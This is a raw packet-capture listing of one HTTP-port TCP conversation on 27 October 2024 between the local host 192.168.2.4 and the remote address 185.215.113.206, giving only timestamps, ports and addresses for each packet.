Oct 27, 2024 12:13:15.913976908 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.954406023 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.954489946 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.954513073 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.954530001 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.954547882 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.954561949 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.954585075 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.954619884 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.954637051 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.954655886 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.954668045 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.954705000 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.954797983 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.954833984 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.954873085 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.954905987 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.954921961 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.954921961 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.954921961 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.954943895 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.954963923 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.955091953 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.955128908 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.955246925 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.955277920 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.955298901 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.955333948 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.955357075 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.955380917 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.955394983 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.955414057 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.955432892 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.955457926 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.955487013 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.955760956 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.955796957 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.955820084 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.955847979 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.955929041 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.955985069 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.956006050 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.956038952 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.956060886 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.956089020 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.956163883 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.956197977 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.956216097 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.956232071 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:15.956254959 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:15.956286907 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.001269102 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.001322985 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.001358986 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.001497984 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.030817986 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.030870914 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.030908108 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.031193972 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.071485043 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.071533918 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.071683884 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.071708918 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.071708918 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.071738005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.071768999 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.071804047 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.071839094 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.071875095 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.071908951 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.071933031 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.071933031 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.071933031 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.071933031 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.071933031 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.071933031 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.071942091 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.071953058 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.071990967 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.072004080 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.072055101 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.072062969 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.072092056 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.072104931 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.072124958 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.072139978 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.072160959 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.072174072 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.072197914 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.072210073 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.072247028 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.072372913 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.072407007 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.072434902 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.072442055 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.072464943 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.072478056 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.072499990 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.072513103 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.072542906 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.072570086 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.072652102 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.072686911 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.072716951 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.072722912 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.072743893 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.072767973 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.072948933 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.072968006 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.073014021 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.073026896 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.073041916 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.073045969 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.073076963 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.073088884 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.073471069 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.073498011 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.073514938 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.073530912 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.073534966 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.073550940 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.073559046 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.073610067 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.073652983 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.073703051 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.118765116 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.118818998 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.118855953 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.118942976 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.118973017 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.147767067 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.147870064 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.148030043 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.188638926 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.188731909 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.188771009 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.188806057 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.188842058 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.188872099 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.188877106 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.188914061 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.188950062 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.189099073 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.189099073 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.189099073 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.189099073 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.189153910 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.189184904 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.189219952 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.189273119 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.189306974 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.189342022 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.189378023 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.189413071 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.189430952 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.189430952 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.189449072 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.189452887 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.189461946 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.189498901 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.189676046 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.189711094 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.189738989 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.189768076 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.189799070 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.189835072 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.189857960 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.189888000 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.190037966 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.190073013 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.190100908 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.190108061 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.190124035 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.190162897 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.190176964 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.190200090 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.190216064 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.190252066 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.190818071 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.190872908 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.190887928 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.190912962 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.190926075 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.190949917 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.190963030 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.190988064 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.191003084 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.191042900 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.191045046 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.191082001 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.191097021 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.191122055 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.191138029 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.191174984 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.235847950 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.235893965 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.235938072 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.235959053 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.235975981 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.235996962 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.236140013 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.305612087 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.305685997 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.305727005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.305838108 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.305875063 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.305897951 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.305897951 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.305897951 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.305911064 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.305917978 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.305923939 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.305967093 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.306000948 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.306035042 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.306066036 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.306099892 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.306148052 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.306153059 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.306153059 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.306153059 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.306153059 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.306153059 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.306176901 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.306193113 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.306195021 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.306243896 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.306263924 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.306303978 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.306315899 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.306361914 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.306437969 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.306493998 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.306561947 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.306597948 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.306619883 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.306633949 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.306646109 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.306668997 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.306690931 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.306705952 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.306718111 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.306761980 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.307019949 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.307054043 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.307087898 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.307095051 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.307113886 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.307142973 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.307204008 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.307238102 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.307261944 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.307271004 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.307286024 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.307332039 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.307507992 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.307543039 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.307568073 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.307579994 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.307590961 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.307615042 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.307636976 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.307651997 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.307666063 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.307693005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.307709932 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.307744026 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.308351994 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.308409929 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.308418036 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.308448076 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.308460951 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.308489084 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.308495045 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.308538914 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.353260040 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.353369951 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.353410959 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.353415966 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.353446960 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.353482962 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.353518009 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.353554964 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.353609085 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.353609085 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.353609085 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.353609085 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.353609085 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.353903055 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.422712088 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.422857046 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.422884941 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.422894001 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.422933102 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.422962904 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.422996998 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.423053026 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.423058987 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.423058987 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.423058987 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.423058987 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.423084974 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.423084974 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.423106909 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.423135996 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.423161030 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.423196077 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.423214912 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.423230886 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.423247099 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.423280001 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.423408985 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.423443079 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.423465967 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.423480034 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.423490047 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.423528910 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.423639059 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.423696041 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.423757076 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.423793077 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.423815012 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.423829079 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.423856020 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.423865080 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.423883915 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.423902035 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.424159050 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.424195051 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.424221039 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.424237967 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.424323082 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.424357891 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.424381018 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.424405098 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.424477100 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.424527884 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.424541950 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:16.424562931 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:16.424580097 CET	49730	80	192.168.2.4	185.215.113.206
